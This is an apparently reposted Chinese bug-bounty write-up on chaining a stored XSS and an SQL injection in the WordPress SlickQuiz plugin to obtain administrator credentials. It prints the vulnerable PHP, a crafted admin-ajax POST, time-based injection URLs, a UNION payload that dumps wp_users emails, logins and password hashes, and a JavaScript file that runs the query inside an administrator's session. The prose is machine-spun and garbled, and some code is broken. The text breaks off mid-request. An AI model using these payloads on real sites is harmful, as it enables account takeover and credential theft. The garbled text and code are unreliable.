本文叙述作者在参与HackerOne的H1-4420竞赛中,针对厂商Uber的某WordPress博客网站为方针,发现其内置问卷调查插件SlickQuiz最新版存在存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)两个缝隙,经过对这两个缝隙的综合使用,终究获取了方针WordPress网站的管理员凭证,完成了从一般访问者到管理员的提权,作者也因而取得了“最具价值黑客”(MVH)的奖赏。以下是作者在自架WordPress上对缝隙的检验共享。

SlickQuiz问卷成果保存处存在Stored XSS(CVE-2019-12517)

在对插件SlickQuiz的源码审计中,我发现其在保存问卷成果时存在的多个显着存储型XSS,重要的是:不管“Save user scores”(保存用户成果)的选项是否敞开(默许禁用),只需有问卷检验发问呈现就足以触发这种存储型XSS,因为“Save user scores”仅仅仅前端显现的一个敞开选项。

问题出在php/slickquiz-scores.php中的generate_score_row办法函数上(38-52行),前端用户问卷检验答案等相关回来给SlickQuiz的信息,未经恰当的编码和过滤验证。以下为 generate_score_row函数代码:

function generate_score_row( $score )

{

$scoreRow = '';

$scoreRow .= '';

$scoreRow .= '' . $score->id . '';

$scoreRow .= '' . $score->name . '';

$scoreRow .= '' . $score->email . '';

$scoreRow .= '' . $score->score . '';

$scoreRow .= '' . $score->createdDate . '';

$scoreRow .= '' . $this->get_score_actions( $score->id ) . '';

$scoreRow .= '';

return $scoreRow;

}

因为用户名$score->name、邮件$score->email和分数$score->score都是前端用户可控的,所以前端用户结构以下这种恳求,就可让后台管理员触发XSS完成:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With:

Content-Length: 165

DNT: 1

Connection: close

action=save_quiz_score&json={"name":"xss","email":"test@localhost","score":"","quiz_id":1}

任何具有SlickQuiz管理权限的管理员,只需在后台查看了用户成果分数之后,就会触发结构恳求中的Payload:

这个缝隙现已能十分阐明问题了,但我觉得或许还有更多缝隙存在。

SlickQuiz包括id参数的恳求存在SQL注入缝隙(CVE-2019-12516)

经我研讨发现,SlickQuiz插件只需有id参数呈现的恳求中,简直都会存在SQL注入缝隙,如结构以下5秒推迟,包括id参数的三个恳求:

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)

/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)

/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)

/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)

/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)

经检验显现,它们都会呈现5秒推迟:

如第一个结构恳求:/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a),

问题出在php/slickquiz-scores.php中第20行的结构办法中,其GET后的id参数直接传给了函数get_quiz_by_id:

$quiz = $this->get_quiz_by_id( $_GET['id'] );而函数get_quiz_by_id在php/slickquiz-model.php中的界说如下,显着存在问题:

function get_quiz_by_id( $id )

{

global $wpdb;

$db_name = $wpdb->prefix . 'plugin_slickquiz';

$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );

return $quizResult;

}

组合使用XSS和SQL注入缝隙取得管理员凭证

首要:咱们用SQL注入缝隙来试试能否取得管理员账户相关信息,如:管理员注册邮箱、登录称号、哈希暗码等,为此,我结构了以下Payload:

1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--

在Burp中的恳求呼应如下,终究,在呼应中的

标签内回来了咱们所需的管理员账户信息:

依据上述SQL注入Payload,咱们把它包括在Java脚本中,使用改装一下,构成以下布置在攻击者服务器上名为slickquiz.js的文件:

let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';

let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'

let xhr = new ;

xhr.withCredentials = true;

xhr.onreadystatechange = function {

if (xhr.readyState === .DONE) {

let result = xhr.responseText.match(/(?:

SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);

alert(result[1]);

}

}

xhr.open('GET', url + payload, true);

xhr.send;

然后,针对之前触发XSS的URL,宣布以下恳求:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With:

Content-Length: 165

DNT: 1

Connection: close

action=save_quiz_score&json={"name":"xss","email":"test@localhost","email":"test@localhost

推荐阅读